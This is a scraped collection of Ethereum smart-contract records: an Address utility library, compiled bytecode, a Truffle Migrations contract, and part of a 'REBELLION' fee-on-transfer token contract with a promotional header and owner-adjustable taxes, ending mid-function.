`transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b0316610081565b565b3b151590565b90565b606061007a8383604051806060016040528060278152602001610237602791396100a5565b9392505050565b3660008037600080366000845af43d6000803e8080156100a0573d6000f35b3d6000fd5b6060833b6101095760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161012491906101b7565b600060405180830381855af49150503d806000811461015f576040519150601f19603f3d011682016040523d82523d6000602084013e610164565b606091505b509150915061017482828661017e565b9695505050505050565b6060831561018d57508161007a565b82511561019d5782518084602001fd5b8160405162461bcd60e51b815260040161010091906101d3565b600082516101c9818460208701610206565b9190910192915050565b60208152600082518060208401526101f2816040850160208701610206565b601f01601f19169190910160400192915050565b60005b83811015610221578181015183820152602001610209565b83811115610230576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220784a77cc1f3bbc24b3ef4d909eba586514217bf68d4b3181fb83be51de8e49c364736f6c63430008070033
[ 5 ]
0xf38f4274452a4dcb5386eca97c78d6b8485ed25a
// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.4.25 <0.7.0; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063445df0ac146100465780638da5cb5b14610064578063fdacd57614610098575b600080fd5b61004e6100c6565b6040518082815260200191505060405180910390f35b61006c6100cc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100c4600480360360208110156100ae57600080fd5b81019080803590602001909291905050506100f0565b005b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561014c57806001819055505b5056fea26469706673582212203ccd3fed8a0607c351d5b0e7c7659bedd1b9a5777c80b56b3b1b516b6c2d6cc864736f6c634300060c0033
[ 38 ]
0xf38f4c0E78731EBCed851bF2753574805e371f67
/* REBELLION - TAKE BACK CONTROL! Rebellion - opposition to one in authority or dominance. A sentiment of indignation and disapproval of a situation manifests itself by the refusal to submit to or obey the authority responsible for this situation. Our mission is clear: leverage the best qualities of blockchain technology. Provide financial freedom. Go against the elite. We do not plan to create a Telegram Group, and we do not intend to reveal our identity. We know how unreliable and uncontrolled crypto is. We don't want to take away the freedom but be a trustworthy gateway to crypto, a dedicated community-led project to cleanse this wild-west. Our contract is verified and renounced on launch. We are everywhere. We are watching and controlling the narrative. Join the rebellion! + 6% BUY TAX, 12% SELL TAX + 2% MAX WALLET, 1% MAX TRANSACTION + SAFE AND TESTED CONTRACT + RENOUNCED ON LAUNCH */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero addy"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero addy"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount more than bal"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract REBELLION is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("REBELLION", "REBELLION") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 2; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 10; uint256 _sellLiquidityFee = 2; uint256 _sellDevFee = 0; uint256 totalSupply = 1 * 1e8 * 1e18; maxTransactionAmount = totalSupply * 10 / 1000; // 1% Max Transaction maxWallet = totalSupply * 20 / 1000; // 2% Max Wallet swapTokensAtAmount = totalSupply * 10 / 10000; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, 